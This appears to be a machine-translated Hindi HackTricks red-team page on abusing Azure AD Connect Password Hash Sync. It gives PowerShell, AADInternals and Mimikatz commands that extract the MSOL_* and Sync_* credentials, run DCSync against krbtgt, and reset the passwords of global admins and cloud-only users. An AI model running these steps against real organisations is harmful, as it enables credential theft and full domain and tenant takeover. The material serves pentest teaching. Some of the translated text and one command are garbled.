Az - PHS - Password Hash Sync

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

दस्तावेज़ से: पासवर्ड हैश सिंक्रोनाइज़ेशन हाइब्रिड आईडेंटिटी पूरा करने के लिए उपयोग किए जाने वाले साइन-इन विधियों में से एक है। Azure AD Connect एक उपकरण है जो एक उपकरण से एक उपयोगकर्ता के पासवर्ड का हैश, एक हैश को, क्लाउड-आधारित Azure AD उपकरण में सिंक्रनाइज़ करता है।

यह कंपनियों द्वारा उपयोग किया जाने वाला सबसे सामान्य विधि है जो एक ऑन-प्रेम AD को Azure AD के साथ सिंक्रनाइज़ करने के लिए उपयोग किया जाता है।

सभी उपयोगकर्ता और पासवर्ड हैश का हैश ऑन-प्रेम से Azure AD में सिंक्रनाइज़ होते हैं। हालांकि, स्पष्ट-पाठ पासवर्ड या मूल हैश Azure AD में नहीं भेजे जाते हैं। इसके अतिरिक्त, बिल्ट-इन सुरक्षा समूह (जैसे डोमेन व्यवस्थापक...) को Azure AD में सिंक्रनाइज़ नहीं किया जाता है।

हैश सिंक्रोनाइज़ेशन हर 2 मिनट में होता है। हालांकि, डिफ़ॉल्ट रूप से, पासवर्ड समाप्ति और खाता समाप्ति Azure AD में सिंक नहीं होती है। इसलिए, एक उपयोगकर्ता जिसका ऑन-प्रेम पासवर्ड समाप्त हो गया है (नहीं बदला गया) पुराने पासवर्ड का उपयोग करके Azure संसाधनों तक पहुंच सकता है।

जब एक ऑन-प्रेम उपयोगकर्ता एक Azure संसाधन तक पहुंचना चाहता है, तो प्रमाणीकरण Azure AD पर होता है

PHS की आवश्यकता है जैसे आईडेंटिटी सुरक्षा और AAD डोमेन सेवाओं के लिए।

पिवोटिंग

जब PHS कॉन्फ़िगर किया जाता है तो कुछ विशेषाधिकारी खाते स्वचालित रूप से बनाए जाते हैं:

  • खाता MSOL_<installationID> स्वचालित रूप से ऑन-प्रेम AD में बनाया जाता है। इस खाते को Directory Synchronization Accounts भूमिका दी जाती है (देखें दस्तावेज़) जिसका मतलब है कि इसके पास ऑन-प्रेम AD में रिप्लिकेशन (DCSync) अनुमतियाँ हैं

  • एक खाता Sync_<name of on-prem ADConnect Server>_installationID Azure AD में बनाया जाता है। इस खाते से Azure AD में किसी भी उपयोगकर्ता का पासवर्ड रीसेट किया जा सकता है (सिंक किया गया हो या केवल क्लाउड में)।

पिछले दो विशेषाधिकारी खातों के पासवर्ड एक SQL सर्वर में स्टोर किए जाते हैं जहां Azure AD Connect स्थापित है। व्यवस्थापक उन विशेषाधिकारी उपयोगकर्ताओं के पासवर्ड को स्पष्ट-पाठ में निकाल सकते हैं। डेटाबेस C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf में स्थित है।

एक तालिका में से कॉन्फ़िगरेशन निकालना संभव है, जिसमें से एक एन्क्रिप्टेड है:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

एन्क्रिप्टेड कॉन्फ़िगरेशन DPAPI के साथ एन्क्रिप्ट किया गया है और इसमें MSOL_* उपयोगकर्ता के पासवर्ड ऑन-प्रेम AD में और AzureAD में Sync_* का पासवर्ड है। इसलिए, इन्हें कंप्रोमाइज़ करने के द्वारा AD और AzureAD में प्राइवेस्क करना संभव है।

आप एक टॉक में इन पासवर्डों को कैसे स्टोर किया और डिक्रिप्ट किया जाता है का पूर्ण अवलोकन पा सकते हैं।

Azure AD कनेक्ट सर्वर खोजना

अगर सर्वर जहां Azure AD कनेक्ट स्थापित है डोमेन जुड़ा हुआ है (दस्तावेज़ में सिफारिश की गई है), तो इसे खोजना संभव है:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_* का दुरुपयोग

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

आप इन परिनामों को प्राप्त करने के लिए adconnectdump का भी उपयोग कर सकते हैं।

सिंक_* का दुरुपयोग

Sync_* खाते को कंप्रोमाइज़ करके किसी भी उपयोगकर्ता का पासवर्ड रीसेट करना संभव है (जिसमें ग्लोबल व्यवस्थापक भी शामिल हैं)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

यह भी संभव है कि केवल क्लाउड उपयोगकर्ताओं के पासवर्ड को संशोधित किया जा सकता है (यदि यह अप्रत्याशित है)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

इस उपयोगकर्ता के पासवर्ड को डंप करना भी संभव है।

एक और विकल्प हो सकता है सेवा प्रधान को विशेषाधिकारित अनुमतियाँ सौंपना, जिसे सिंक उपयोगकर्ता को अनुमतियाँ हैं, और फिर उस सेवा प्रधान तक पहुंचना एक privesc के रूप में।

सीमलेस एसएसओ

PHS के साथ सीमलेस एसएसओ का उपयोग करना संभव है, जो अन्य दुरुपयोगों के लिए विकल्पयुक्त है। इसे जांचें:

pageAz - Seamless SSO

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated